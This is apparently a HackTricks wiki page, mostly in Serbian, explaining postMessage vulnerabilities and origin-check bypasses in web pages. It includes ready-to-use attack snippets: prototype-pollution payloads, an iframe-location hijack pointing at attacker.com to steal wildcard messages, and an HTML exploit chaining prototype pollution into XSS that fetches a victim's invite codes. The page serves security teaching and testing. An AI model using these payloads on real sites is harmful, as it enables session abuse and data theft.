.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
PostMessage Vulnerabilities
PostMessage Vulnerabilities
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Send PostMessage
PostMessage koristi sledeću funkciju za slanje poruke:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Napomena da targetOrigin može biti '*' ili URL kao što je https://company.com.
U drugom scenariju, poruka se može poslati samo toj domeni (čak i ako je izvor objekta prozora drugačiji).
Ako se koristi wildcard, poruke se mogu slati na bilo koju domenu, i biće poslate na izvor objekta Window.
Napad na iframe & wildcard u targetOrigin
Kao što je objašnjeno u ovom izveštaju, ako pronađete stranicu koja može biti iframed (bez zaštite X-Frame-Header
) i koja šalje osetljive poruke putem postMessage koristeći wildcard (*), možete modifikovati izvor iframe-a i leak osetljive poruke na domenu koju kontrolišete.
Napomena da ako stranica može biti iframed, ali je targetOrigin postavljen na URL i ne na wildcard, ovaj trik neće raditi.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener eksploatacija
addEventListener
je funkcija koju koristi JS da deklarira funkciju koja očekuje postMessages
.
Koristiće se kod sličan sledećem:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Napomena u ovom slučaju kako prva stvar koju kod radi je provera porekla. Ovo je strašno važno posebno ako stranica planira da uradi bilo šta osetljivo sa primljenim informacijama (kao što je promena lozinke). Ako ne proverava poreklo, napadači mogu naterati žrtve da šalju proizvoljne podatke na ove krajnje tačke i promene lozinke žrtava (u ovom primeru).
Enumeracija
Da biste pronašli event listener-e na trenutnoj stranici možete:
- Pretražiti JS kod za
window.addEventListener
i$(window).on
(JQuery verzija) - Izvršiti u konzoli alata za razvoj:
getEventListeners(window)
- Idite na Elements --> Event Listeners u alatima za razvoj preglednika
- Koristite proširenje za preglednik kao https://github.com/benso-io/posta ili https://github.com/fransr/postMessage-tracker. Ova proširenja za preglednik će presresti sve poruke i prikazati ih vama.
Zaobilaženje provere porekla
event.isTrusted
atribut se smatra sigurnim jer vraćaTrue
samo za događaje koje generišu stvarne korisničke akcije. Iako je izazovno zaobići ga ako je pravilno implementiran, njegova važnost u bezbednosnim proverama je značajna.- Korišćenje
indexOf()
za validaciju porekla u PostMessage događajima može biti podložno zaobilaženju. Primer koji ilustruje ovu ranjivost je:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
search()
metoda izString.prototype.search()
je namenjena za regularne izraze, a ne za stringove. Prosleđivanje bilo čega osim regexp-a dovodi do implicitne konverzije u regex, što čini metodu potencijalno nesigurnom. To je zato što u regex-u, tačka (.) deluje kao džoker, omogućavajući zaobilaženje validacije sa posebno kreiranim domenima. Na primer:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
match()
funkcija, sličnasearch()
, obrađuje regex. Ako je regex nepravilno strukturiran, može biti podložan zaobilaženju. -
escapeHtml
funkcija je namenjena sanitizaciji unosa bežanjem karaktera. Međutim, ona ne stvara novi bežani objekat, već prepisuje svojstva postojećeg objekta. Ovo ponašanje se može iskoristiti. Konkretno, ako se objekat može manipulisati tako da njegova kontrolisana svojstva ne priznajuhasOwnProperty
,escapeHtml
neće funkcionisati kako se očekuje. Ovo je prikazano u primerima ispod: -
Očekivani neuspeh:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
- Zaobilaženje bežanja:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
U kontekstu ove ranjivosti, File
objekat je posebno podložan eksploataciji zbog svoje read-only name
osobine. Ova osobina, kada se koristi u šablonima, nije sanitizovana od strane escapeHtml
funkcije, što dovodi do potencijalnih bezbednosnih rizika.
document.domain
osobina u JavaScript-u može biti postavljena od strane skripte da skraćuje domen, omogućavajući opušteniju primenu politike istog porekla unutar istog roditeljskog domena.
e.origin == window.origin zaobilaženje
Kada se ugrađuje web stranica unutar sandboxed iframe koristeći %%%%%%, važno je razumeti da će poreklo iframe-a biti postavljeno na null. Ovo je posebno važno kada se radi o sandbox atributima i njihovim implikacijama na bezbednost i funkcionalnost.
Specifikovanjem allow-popups
u sandbox atributu, svaki prozor koji se otvori iz iframe-a nasleđuje sandbox ograničenja svog roditelja. To znači da osim ako allow-popups-to-escape-sandbox
atribut nije takođe uključen, poreklo prozora za iskačuće prozore je takođe postavljeno na null
, usklađujući se sa poreklom iframe-a.
Kao rezultat, kada se iskačući prozor otvori pod ovim uslovima i poruka se pošalje iz iframe-a u iskačući prozor koristeći postMessage
, i pošiljalac i primalac imaju svoja porekla postavljena na null
. Ova situacija dovodi do scenarija gde e.origin == window.origin
se evaluira kao tačno (null == null
), jer i iframe i iskačući prozor dele istu vrednost porekla null
.
Za više informacija pročitajte:
{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
Zaobilaženje e.source
Moguće je proveriti da li je poruka došla iz istog prozora u kojem skripta sluša (posebno zanimljivo za Content Scripts iz proširenja preglednika da provere da li je poruka poslata sa iste stranice):
// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}
Možete primorati e.source
poruke da bude null kreiranjem iframe koji šalje postMessage i koji je odmah obrisan.
Za više informacija pročitajte:
{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
X-Frame-Header zaobilaženje
Da biste izvršili ove napade, idealno bi bilo da možete staviti stranicu žrtve unutar iframe
. Ali neki headeri poput X-Frame-Header
mogu sprečiti to ponašanje.
U tim scenarijima možete i dalje koristiti manje prikriven napad. Možete otvoriti novu karticu za ranjivu web aplikaciju i komunicirati s njom:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Krađa poruke poslata detetu blokiranjem glavne stranice
Na sledećoj stranici možete videti kako možete ukrasti osetljive postmessage podatke poslata child iframe blokiranjem glavne stranice pre slanja podataka i zloupotrebom XSS u detetu da iscuri podatke pre nego što budu primljeni:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
Krađa poruke modifikovanjem lokacije iframe-a
Ako možete iframe-ovati veb stranicu bez X-Frame-Header koja sadrži drugi iframe, možete promeniti lokaciju tog child iframe-a, tako da ako prima postmessage poslatu koristeći wildcard, napadač može promeniti tu iframe izvor na stranicu koju kontroliše i ukrasti poruku:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
postMessage do Prototype Pollution i/ili XSS
U scenarijima gde se podaci poslati putem postMessage
izvršavaju putem JS, možete iframe-ovati stranicu i iskoristiti prototip zagađenje/XSS šaljući eksploataciju putem postMessage
.
Nekoliko veoma dobro objašnjenih XSS kroz postMessage
može se naći na https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Primer eksploatacije za zloupotrebu Prototype Pollution i zatim XSS putem postMessage
na iframe
:
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
Za više informacija:
- Link ka stranici o prototip zagađenju
- Link ka stranici o XSS
- Link ka stranici o klijentskom prototip zagađenju do XSS
Reference
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Za vežbanje: https://github.com/yavolo/eventlistener-xss-recon
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.